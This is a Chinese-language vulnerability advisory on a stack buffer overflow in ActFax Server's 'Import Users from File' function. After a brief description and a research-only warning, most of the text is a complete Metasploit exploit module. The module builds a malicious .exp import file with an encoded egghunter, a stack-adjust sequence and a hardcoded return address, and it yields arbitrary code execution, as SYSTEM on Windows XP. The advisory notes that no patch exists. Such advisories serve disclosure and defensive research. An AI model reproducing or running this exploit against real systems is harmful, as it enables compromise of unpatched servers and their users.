ActFax 'Import Users from File'函数远程栈缓冲区溢出漏洞

ActFax 'Import Users from File'函数远程栈缓冲区溢出漏洞

发布日期：2012-09-07
更新日期：2012-09-11

受影响系统：
ActFax ActFax
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55457

ActFax Server是在Windows或UNIX的应用软件中收发传真的传真服务器软件。

ActFax (ActiveFax Server)的Import Users from File()函数存在远程栈缓冲区溢出漏洞，成功利用可以系统级别的权限执行任意代码。

<*来源：Craig Freyman
  *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in ActiveFax Server. The vulnerability is
                a stack based buffer overflow in the "Import Users from File" function, due to the
                insecure usage of strcpy while parsing the csv formatted file. The module creates a
                .exp file that must be imported with ActiveFax Server. The module has been tested
                successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
                Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Craig Freyman', # Vulnerability discovery and PoC
                    'Brandon Perry', # Metasploit module
                    'juan vazquez'   # Metasploit module
                ],
            'References'     =>
                [
                    [ 'EDB', '20915' ],
                    [ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process',
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space' => 4000,
                    'BadChars' => "",
                    'DisableNops' => true,
                },

            'Targets'        =>
                [
                    [ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1',
                        {
                            'Ret'      => 0x00401b22, # ret from ActFax.exe]
                            'Offset'  => 512
                        }
                    ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Aug 28 2012',
            'DefaultTarget'     => 0))

        register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class)

    end

    def exploit

        #These badchars do not apply to the final payload
        badchars = (0x00..0x20).to_a.pack("C*") + "\x7c"

        eggoptions =
            {
                :checksum => true,
                :eggtag => 'w00t'
            }

        hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

        [ 'x86/alpha_upper'].each { |name|
            enc = framework.encoders.create(name)
            if name =~/alpha/
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
            end
            hunter = enc.encode(hunter, nil, nil, platform)
        }

        buffer = "\x83\xC4\x7f" * 19 # add esp, byte 0xff
        buffer << "\x83\xC4\x23" # add esp, byte 0x23
        buffer << hunter
        buffer << rand_text(target['Offset'] - buffer.length, badchars)
        buffer << [target.ret].pack("V")
        buffer << egg

        file =  "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t"
        file << "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t"
        file << "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t"
        file << "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t"
        file << "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t"
        file << "Export Incoming\tExport-Path\tMark as Read\r\n"
        file << buffer
        file << "\r\n"

        file_create(file)

    end
end

建议：
--------------------------------------------------------------------------------
厂商补丁：

ActFax
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.actfax.com/